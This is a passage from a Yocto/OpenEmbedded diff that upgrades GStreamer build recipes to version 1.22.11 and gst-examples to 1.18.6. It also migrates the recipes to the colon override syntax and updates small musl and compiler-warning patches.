++++ b/validate/plugins/fault_injection/socket_interposer.c
@@ -100,10 +100,15 @@ socket_interposer_set_callback (struct sockaddr_in *addrin,
}
diff --git a/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.11.bb
new file mode 100644
index 0000000000..2be406192f
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.11.bb
@@ -0,0 +1,52 @@
+SUMMARY = "Gstreamer validation tool"
+DESCRIPTION = "A Tool to test GStreamer components"
+HOMEPAGE = "https://gstreamer.freedesktop.org/documentation/gst-devtools/index.html"
+SECTION = "multimedia"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://validate/COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343"
+
+#S = "${WORKDIR}/gst-devtools-${PV}"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-devtools/gst-devtools-${PV}.tar.xz \
+ file://0001-connect-has-a-different-signature-on-musl.patch \
+ "
+
+SRC_URI[sha256sum] = "07766425ecb5bf857ab5ad3962321c55cd89f9386b720843f9df71c0a455eb9b"
+
+DEPENDS = "json-glib glib-2.0 glib-2.0-native gstreamer1.0 gstreamer1.0-plugins-base"
+RRECOMMENDS:${PN} = "git"
+
+FILES:${PN} += "${datadir}/gstreamer-1.0/* ${libdir}/gst-validate-launcher/* ${libdir}/gstreamer-1.0/*"
+
+inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection
+
+# TODO: put this in a gettext.bbclass patch
+def gettext_oemeson(d):
+ if d.getVar('USE_NLS') == 'no':
+ return '-Dnls=disabled'
+ # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return '-Dnls=disabled'
+ return '-Dnls=enabled'
+
+# Build GstValidateVideo
+PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Ddebug_viewer=disabled \
+ -Dtests=disabled \
+ -Dvalidate=enabled \
+ ${@gettext_oemeson(d)} \
+"
+
+do_install:append () {
+ for fn in ${bindir}/gst-validate-launcher \
+ ${libdir}/gst-validate-launcher/python/launcher/config.py; do
+ sed -i -e 's,${B},/usr/src/debug/${PN},g' -e 's,${S},/usr/src/debug/${PN},g' ${D}$fn
+ done
+}
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch b/meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch
index 0338bad1c0..ab93c13244 100644
--- a/meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch
+++ b/meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch
@@ -1,4 +1,4 @@
-From 755f6dab07565aca7b6aefacad8be65de364ff75 Mon Sep 17 00:00:00 2001
+From 7924016fce2d0b435891a335cdae52fc939c7e3b Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Thu, 17 Aug 2017 11:07:02 +0300
Subject: [PATCH] Make player examples installable
@@ -7,16 +7,17 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
Upstream-Status: Denied [Upstream considers these code examples, for now a least]
https://bugzilla.gnome.org/show_bug.cgi?id=777827
+
---
playback/player/gst-play/meson.build | 1 +
playback/player/gtk/meson.build | 1 +
2 files changed, 2 insertions(+)
diff --git a/playback/player/gst-play/meson.build b/playback/player/gst-play/meson.build
-index 719b55b..a56fe13 100644
+index 8ec021d..977cc5c 100644
--- a/playback/player/gst-play/meson.build
+++ b/playback/player/gst-play/meson.build
-@@ -8,5 +8,6 @@ executable('gst-play',
+@@ -2,5 +2,6 @@ executable('gst-play',
['gst-play.c',
'gst-play-kb.c',
'gst-play-kb.h'],
@@ -24,16 +25,13 @@ index 719b55b..a56fe13 100644
dependencies : [gst_dep, gstplayer_dep, m_dep])
diff --git a/playback/player/gtk/meson.build b/playback/player/gtk/meson.build
-index 08aae4f..671a65d 100644
+index f7a7419..6281130 100644
--- a/playback/player/gtk/meson.build
+++ b/playback/player/gtk/meson.build
-@@ -18,5 +18,6 @@ executable('gtk-play',
- gtk_play_resources,
- 'gtk-video-renderer.h',
- 'gtk-video-renderer.c'],
+@@ -13,5 +13,6 @@ if gtk_dep.found()
+ gtk_play_resources,
+ 'gtk-video-renderer.h',
+ 'gtk-video-renderer.c'],
+ install: true,
- dependencies : [glib_dep, gobject_dep, gmodule_dep, gst_dep, gsttag_dep, gstplayer_dep, gtk_dep, x11_dep])
-
---
-2.13.3
-
+ dependencies : [glib_dep, gobject_dep, gmodule_dep, gst_dep, gsttag_dep, gstplayer_dep, gtk_dep, x11_dep])
+ endif
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples/gst-player.desktop b/meta/recipes-multimedia/gstreamer/gst-examples/gst-player.desktop
index 7ddd456a1e..d165e5d910 100644
--- a/meta/recipes-multimedia/gstreamer/gst-examples/gst-player.desktop
+++ b/meta/recipes-multimedia/gstreamer/gst-examples/gst-player.desktop
@@ -1,7 +1,7 @@
[Desktop Entry]
Name=Media Player
Comment=Basic media player
-Icon=multimedia-player
+Icon=video-player
TryExec=gtk-play
Exec=gtk-play
StartupNotify=true
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples_1.16.0.bb b/meta/recipes-multimedia/gstreamer/gst-examples_1.16.0.bb
deleted file mode 100644
index e23d23d9ca..0000000000
--- a/meta/recipes-multimedia/gstreamer/gst-examples_1.16.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "GStreamer examples (including gtk-play, gst-play)"
-LICENSE = "LGPL-2.0+"
-LIC_FILES_CHKSUM = "file://playback/player/gtk/gtk-play.c;beginline=1;endline=20;md5=f8c72dae3d36823ec716a9ebcae593b9"
-
-DEPENDS = "glib-2.0 gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad gtk+3 glib-2.0-native"
-
-SRC_URI = "git://gitlab.freedesktop.org/gstreamer/gst-examples.git;protocol=https \
- file://0001-Make-player-examples-installable.patch \
- file://gst-player.desktop \
- "
-
-SRCREV = "d953c127c1146b50d5676618299933950685dcd7"
-
-S = "${WORKDIR}/git"
-
-inherit meson pkgconfig features_check
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-do_install_append() {
- install -m 0644 -D ${WORKDIR}/gst-player.desktop ${D}${datadir}/applications/gst-player.desktop
-}
-
-RDEPENDS_${PN} = "gstreamer1.0-plugins-base-playback"
-RRECOMMENDS_${PN} = "gstreamer1.0-plugins-base-meta \
- gstreamer1.0-plugins-good-meta \
- gstreamer1.0-plugins-bad-meta \
- ${@bb.utils.contains("LICENSE_FLAGS_WHITELIST", "commercial", "gstreamer1.0-libav", "", d)} \
- ${@bb.utils.contains("LICENSE_FLAGS_WHITELIST", "commercial", "gstreamer1.0-plugins-ugly-meta", "", d)}"
-RPROVIDES_${PN} += "gst-player gst-player-bin"
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples_1.18.6.bb b/meta/recipes-multimedia/gstreamer/gst-examples_1.18.6.bb
new file mode 100644
index 0000000000..02282ac5d9
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gst-examples_1.18.6.bb
@@ -0,0 +1,35 @@
+SUMMARY = "GStreamer examples (including gtk-play, gst-play)"
+DESCRIPTION = "GStreamer example applications"
+HOMEPAGE = "https://gitlab.freedesktop.org/gstreamer/gst-examples"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-examples/-/issues"
+LICENSE = "LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://playback/player/gtk/gtk-play.c;beginline=1;endline=20;md5=f8c72dae3d36823ec716a9ebcae593b9"
+
+DEPENDS = "glib-2.0 gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad gtk+3 libsoup-2.4 json-glib glib-2.0-native"
+
+SRC_URI = "git://gitlab.freedesktop.org/gstreamer/gst-examples.git;protocol=https;branch=1.18 \
+ file://0001-Make-player-examples-installable.patch \
+ file://gst-player.desktop \
+ "
+
+SRCREV = "70e4fcf4fc8ae19641aa990de5f37d758cdfcea4"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig features_check
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+do_install:append() {
+ install -m 0644 -D ${WORKDIR}/gst-player.desktop ${D}${datadir}/applications/gst-player.desktop
+}
+
+RDEPENDS:${PN} = "gstreamer1.0-plugins-base-playback"
+RRECOMMENDS:${PN} = "gstreamer1.0-plugins-base-meta \
+ gstreamer1.0-plugins-good-meta \
+ gstreamer1.0-plugins-bad-meta \
+ ${@bb.utils.contains("LICENSE_FLAGS_ACCEPTED", "commercial", "gstreamer1.0-libav", "", d)} \
+ ${@bb.utils.contains("LICENSE_FLAGS_ACCEPTED", "commercial", "gstreamer1.0-plugins-ugly-meta", "", d)}"
+RPROVIDES:${PN} += "gst-player gst-player-bin"
diff --git a/meta/recipes-multimedia/gstreamer/gst-validate_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gst-validate_1.16.2.bb
deleted file mode 100644
index 35492fe861..0000000000
--- a/meta/recipes-multimedia/gstreamer/gst-validate_1.16.2.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Gstreamer validation tool"
-DESCRIPTION = "A Tool to test GStreamer components"
-HOMEPAGE = "https://gstreamer.freedesktop.org/releases/gst-validate/1.12.3.html"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${BPN}/${BP}.tar.xz \
- file://0001-connect-has-a-different-signature-on-musl.patch \
- "
-SRC_URI[md5sum] = "688f42c52d62e8c5e506df911553fb2c"
-SRC_URI[sha256sum] = "4861ccb9326200e74d98007e316b387d48dd49f072e0b78cb9d3303fdecfeeca"
-
-DEPENDS = "json-glib glib-2.0 glib-2.0-native gstreamer1.0 gstreamer1.0-plugins-base"
-RRECOMMENDS_${PN} = "git"
-
-FILES_${PN} += "${datadir}/gstreamer-1.0/* ${libdir}/gst-validate-launcher/* ${libdir}/gstreamer-1.0/*"
-
-inherit pkgconfig gettext autotools gobject-introspection gtk-doc upstream-version-is-even
-
-# With gtk-doc enabled this recipe fails to build, so forcibly disable it:
-# WORKDIR/build/docs/validate/gst-validate-scan: line 117:
-# WORKDIR/build/docs/validate/.libs/lt-gst-validate-scan: No such file or directory
-GTKDOC_ENABLED = "False"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.16.2.bb
deleted file mode 100644
index 2fdefc925e..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.16.2.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Libav-based GStreamer 1.x plugin"
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-SECTION = "multimedia"
-
-LICENSE = "GPLv2+ & LGPLv2+ & ( (GPLv2+ & LGPLv2.1+) | (GPLv3+ & LGPLv3+) )"
-LICENSE_FLAGS = "commercial"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.LIB;md5=6762ed442b3822387a51c92d928ead0d \
- file://ext/libav/gstav.h;beginline=1;endline=18;md5=a752c35267d8276fd9ca3db6994fca9c"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${PV}.tar.xz \
- "
-SRC_URI[md5sum] = "eacebd0136ede3a9bd3672eeb338806b"
-SRC_URI[sha256sum] = "c724f612700c15a933c7356fbeabb0bb9571fb5538f8b1b54d4d2d94188deef2"
-
-S = "${WORKDIR}/gst-libav-${PV}"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base ffmpeg"
-
-inherit meson pkgconfig upstream-version-is-even
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
-
-delete_unused_libav_copy() {
- # When building with meson, the internal libav copy is not used.
- # It is only present for legacy autotools based builds. In future
- # GStreamer versions, the autotools scripts will be gone, and so
- # will this internal copy. Until then, it will be present. In order
- # to make sure this copy is not included in the -src package, just
- # manually delete the copy.
- rm -rf "${S}/gst-libs/ext/libav/"
-}
-
-do_unpack[postfuncs] += " delete_unused_libav_copy"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.11.bb
new file mode 100644
index 0000000000..f3287efa96
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.11.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Libav-based GStreamer 1.x plugin"
+DESCRIPTION = "Contains a GStreamer plugin for using the encoders, decoders, \
+muxers, and demuxers provided by FFmpeg."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+SECTION = "multimedia"
+
+# ffmpeg has comercial license flags so add it as we need ffmpeg as a dependency
+LICENSE_FLAGS = "commercial"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770 \
+ file://ext/libav/gstav.h;beginline=1;endline=18;md5=a752c35267d8276fd9ca3db6994fca9c \
+ "
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${PV}.tar.xz"
+SRC_URI[sha256sum] = "6b13dcc9332ef27a7c1e7005c0196883874f91622f8aa6e52f218b05b15d2bf5"
+
+S = "${WORKDIR}/gst-libav-${PV}"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base ffmpeg"
+
+inherit meson pkgconfig upstream-version-is-even
+
+EXTRA_OEMESON += " \
+ -Dtests=disabled \
+"
+
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
index 016e176707..6cc11e1928 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
@@ -18,13 +18,13 @@ PACKAGES = "\
gstreamer1.0-meta-debug \
gstreamer1.0-meta-video"
-ALLOW_EMPTY_gstreamer1.0-meta-base = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-x11-base = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-audio = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-debug = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-video = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-base = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-x11-base = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-audio = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-debug = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-video = "1"
-RDEPENDS_gstreamer1.0-meta-base = "\
+RDEPENDS:gstreamer1.0-meta-base = "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gstreamer1.0-meta-x11-base', '', d)} \
gstreamer1.0 \
gstreamer1.0-plugins-base-playback \
@@ -34,16 +34,15 @@ RDEPENDS_gstreamer1.0-meta-base = "\
gstreamer1.0-plugins-base-audioconvert \
gstreamer1.0-plugins-base-audioresample \
gstreamer1.0-plugins-base-typefindfunctions \
- gstreamer1.0-plugins-base-videoscale \
- gstreamer1.0-plugins-base-videoconvert \
+ gstreamer1.0-plugins-base-videoconvertscale \
gstreamer1.0-plugins-good-autodetect \
gstreamer1.0-plugins-good-soup"
-RRECOMMENDS_gstreamer1.0-meta-x11-base = "\
+RRECOMMENDS:gstreamer1.0-meta-x11-base = "\
gstreamer1.0-plugins-base-ximagesink \
gstreamer1.0-plugins-base-xvimagesink"
-RDEPENDS_gstreamer1.0-meta-audio = "\
+RDEPENDS:gstreamer1.0-meta-audio = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-base-vorbis \
gstreamer1.0-plugins-base-ogg \
@@ -51,18 +50,18 @@ RDEPENDS_gstreamer1.0-meta-audio = "\
gstreamer1.0-plugins-good-flac \
${COMMERCIAL_AUDIO_PLUGINS}"
-RDEPENDS_gstreamer1.0-meta-debug = "\
+RDEPENDS:gstreamer1.0-meta-debug = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-good-debug \
gstreamer1.0-plugins-base-audiotestsrc \
gstreamer1.0-plugins-base-videotestsrc"
-RDEPENDS_gstreamer1.0-meta-video = "\
+RDEPENDS:gstreamer1.0-meta-video = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-good-avi \
gstreamer1.0-plugins-good-matroska \
gstreamer1.0-plugins-base-theora \
${COMMERCIAL_VIDEO_PLUGINS}"
-RRECOMMENDS_gstreamer1.0-meta-video = "\
+RRECOMMENDS:gstreamer1.0-meta-video = "\
gstreamer1.0-meta-audio"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.16.2.bb
deleted file mode 100644
index f1bdbd235d..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.16.2.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "OpenMAX IL plugins for GStreamer"
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LICENSE_FLAGS = "commercial"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://omx/gstomx.h;beginline=1;endline=21;md5=5c8e1fca32704488e76d2ba9ddfa935f"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-omx/gst-omx-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "6362786d2b6cce34de08c86b7847f782"
-SRC_URI[sha256sum] = "11ed411a2eba75610d72331eeb14ff05e2df28f4fd05cb69225a88bec6d27439"
-
-S = "${WORKDIR}/gst-omx-${PV}"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad virtual/libomxil"
-
-inherit meson pkgconfig upstream-version-is-even
-
-GSTREAMER_1_0_OMX_TARGET ?= "bellagio"
-GSTREAMER_1_0_OMX_CORE_NAME ?= "${libdir}/libomxil-bellagio.so.0"
-
-EXTRA_OEMESON += "-Dtarget=${GSTREAMER_1_0_OMX_TARGET}"
-
-python __anonymous () {
- omx_target = d.getVar("GSTREAMER_1_0_OMX_TARGET")
- if omx_target in ['generic', 'bellagio']:
- # Bellagio headers are incomplete (they are missing the OMX_VERSION_MAJOR,#
- # OMX_VERSION_MINOR, OMX_VERSION_REVISION, and OMX_VERSION_STEP macros);
- # appending a directory path to gst-omx' internal OpenMAX IL headers fixes this
- d.appendVar("CFLAGS", " -I${S}/omx/openmax")
- elif omx_target == "rpi":
- # Dedicated Raspberry Pi OpenMAX IL support makes this package machine specific
- d.setVar("PACKAGE_ARCH", d.getVar("MACHINE_ARCH"))
-}
-
-set_omx_core_name() {
- sed -i -e "s;^core-name=.*;core-name=${GSTREAMER_1_0_OMX_CORE_NAME};" "${D}${sysconfdir}/xdg/gstomx.conf"
-}
-do_install[postfuncs] += " set_omx_core_name "
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
-
-VIRTUAL-RUNTIME_libomxil ?= "libomxil"
-RDEPENDS_${PN} = "${VIRTUAL-RUNTIME_libomxil}"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.11.bb
new file mode 100644
index 0000000000..97348fb398
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.11.bb
@@ -0,0 +1,47 @@
+SUMMARY = "OpenMAX IL plugins for GStreamer"
+DESCRIPTION = "Wraps available OpenMAX IL components and makes them available as standard GStreamer elements."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+SECTION = "multimedia"
+
+LICENSE = "LGPL-2.1-or-later"
+LICENSE_FLAGS = "commercial"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://omx/gstomx.h;beginline=1;endline=21;md5=5c8e1fca32704488e76d2ba9ddfa935f"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-omx/gst-omx-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "18dfdf5f6b773d67e62a315c6cf6247da320b83603a5819493f53c69ed2eeef6"
+
+S = "${WORKDIR}/gst-omx-${PV}"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad virtual/libomxil"
+
+inherit meson pkgconfig upstream-version-is-even
+
+GSTREAMER_1_0_OMX_TARGET ?= "bellagio"
+GSTREAMER_1_0_OMX_CORE_NAME ?= "${libdir}/libomxil-bellagio.so.0"
+
+EXTRA_OEMESON += "-Dtarget=${GSTREAMER_1_0_OMX_TARGET}"
+
+python __anonymous () {
+ omx_target = d.getVar("GSTREAMER_1_0_OMX_TARGET")
+ if omx_target in ['generic', 'bellagio']:
+ # Bellagio headers are incomplete (they are missing the OMX_VERSION_MAJOR,#
+ # OMX_VERSION_MINOR, OMX_VERSION_REVISION, and OMX_VERSION_STEP macros);
+ # appending a directory path to gst-omx' internal OpenMAX IL headers fixes this
+ d.appendVar("CFLAGS", " -I${S}/omx/openmax")
+ elif omx_target == "rpi":
+ # Dedicated Raspberry Pi OpenMAX IL support makes this package machine specific
+ d.setVar("PACKAGE_ARCH", d.getVar("MACHINE_ARCH"))
+}
+
+set_omx_core_name() {
+ sed -i -e "s;^core-name=.*;core-name=${GSTREAMER_1_0_OMX_CORE_NAME};" "${D}${sysconfdir}/xdg/gstomx.conf"
+}
+do_install[postfuncs] += " set_omx_core_name "
+
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
+
+VIRTUAL-RUNTIME_libomxil ?= "libomxil"
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_libomxil}"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch
new file mode 100644
index 0000000000..a57fcd7d21
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch
@@ -0,0 +1,26 @@
+From 8be0c6ac60c96e87d8aa443be9c431844dc3d92a Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <armccurdy@gmail.com>
+Date: Tue, 26 Jan 2016 15:16:01 -0800
+Subject: [PATCH] fix maybe-uninitialized warnings when compiling with -Os
+
+Upstream-Status: Pending
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+
+---
+ gst-libs/gst/codecparsers/gstvc1parser.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gst-libs/gst/codecparsers/gstvc1parser.c b/gst-libs/gst/codecparsers/gstvc1parser.c
+index 2c60ced..e8226d8 100644
+--- a/gst-libs/gst/codecparsers/gstvc1parser.c
++++ b/gst-libs/gst/codecparsers/gstvc1parser.c
+@@ -1730,7 +1730,7 @@ gst_vc1_parse_sequence_layer (const guint8 * data, gsize size,
+ GstVC1SeqLayer * seqlayer)
+ {
+ guint32 tmp;
+- guint8 tmp8;
++ guint8 tmp8 = 0;
+ guint8 structA[8] = { 0, };
+ guint8 structB[12] = { 0, };
+ GstBitReader br;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch
deleted file mode 100644
index 1321852023..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 97a4d0cd7de8cfbf983acc7e37ba2f8fb73c3e19 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Tim-Philipp=20M=C3=BCller?= <tim@centricular.com>
-Date: Fri, 18 Oct 2019 00:39:12 +0100
-Subject: [PATCH 1/2] meson: build gir even when cross-compiling if
- introspection was enabled explicitly
-
-This can be made to work in certain circumstances when
-cross-compiling, so default to not building g-i stuff
-when cross-compiling, but allow it if introspection was
-enabled explicitly via -Dintrospection=enabled.
-
-See gstreamer/gstreamer#454 and gstreamer/gstreamer#381.
-
-Upstream-Status: Backport [97a4d0cd7de8cfbf983acc7e37ba2f8fb73c3e19]
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 67aeeb4d0..7b3314bd9 100644
---- a/meson.build
-+++ b/meson.build
-@@ -411,7 +411,7 @@ python3 = import('python').find_installation()
-
- gir = find_program('g-ir-scanner', required : get_option('introspection'))
- gnome = import('gnome')
--build_gir = gir.found() and not meson.is_cross_build()
-+build_gir = gir.found() and (not meson.is_cross_build() or get_option('introspection').enabled())
- gir_init_section = [ '--add-init-section=extern void gst_init(gint*,gchar**);' + \
- 'g_setenv("GST_REGISTRY_1.0", "@0@", TRUE);'.format(meson.current_build_dir() + '/gir_empty_registry.reg') + \
- 'g_setenv("GST_PLUGIN_PATH_1_0", "", TRUE);' + \
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0002-avoid-including-sys-poll.h-directly.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0002-avoid-including-sys-poll.h-directly.patch
new file mode 100644
index 0000000000..6509a293b7
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0002-avoid-including-sys-poll.h-directly.patch
@@ -0,0 +1,28 @@
+From 426ee79adeecc24605426030a486d7c5a755048c Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <armccurdy@gmail.com>
+Date: Wed, 3 Feb 2016 18:05:41 -0800
+Subject: [PATCH] avoid including <sys/poll.h> directly
+
+musl libc generates warnings if <sys/poll.h> is included directly.
+
+Upstream-Status: Pending
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+
+---
+ sys/dvb/gstdvbsrc.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/sys/dvb/gstdvbsrc.c b/sys/dvb/gstdvbsrc.c
+index b8e5b1a..5bca6e5 100644
+--- a/sys/dvb/gstdvbsrc.c
++++ b/sys/dvb/gstdvbsrc.c
+@@ -98,7 +98,7 @@
+ #include <gst/gst.h>
+ #include <gst/glib-compat-private.h>
+ #include <sys/ioctl.h>
+-#include <sys/poll.h>
++#include <poll.h>
+ #include <fcntl.h>
+ #include <errno.h>
+ #include <stdio.h>
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch
new file mode 100644
index 0000000000..50a3143eca
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch
@@ -0,0 +1,33 @@
+From e6eb7536fcfc2c75f7831f67b1f16f3f36ef2545 Mon Sep 17 00:00:00 2001
+From: Andrey Zhizhikin <andrey.z@gmail.com>
+Date: Mon, 27 Jan 2020 10:22:35 +0000
+Subject: [PATCH] opencv: resolve missing opencv data dir in yocto build
+
+When Yocto build is performed, opencv searches for data dir using simple
+'test' command, this fails because pkg-config provides an absolute
+path on the target which needs to be prepended by PKG_CONFIG_SYSROOT_DIR
+in order for the 'test' utility to pick up the absolute path.
+
+Upstream-Status: Inappropriate [OE-specific]
+
+Signed-off-by: Andrey Zhizhikin <andrey.z@gmail.com>
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ ext/opencv/meson.build | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/ext/opencv/meson.build b/ext/opencv/meson.build
+index 37e2015..326f737 100644
+--- a/ext/opencv/meson.build
++++ b/ext/opencv/meson.build
+@@ -87,6 +87,9 @@ if opencv_found
+ opencv_prefix = opencv_dep.get_variable('prefix')
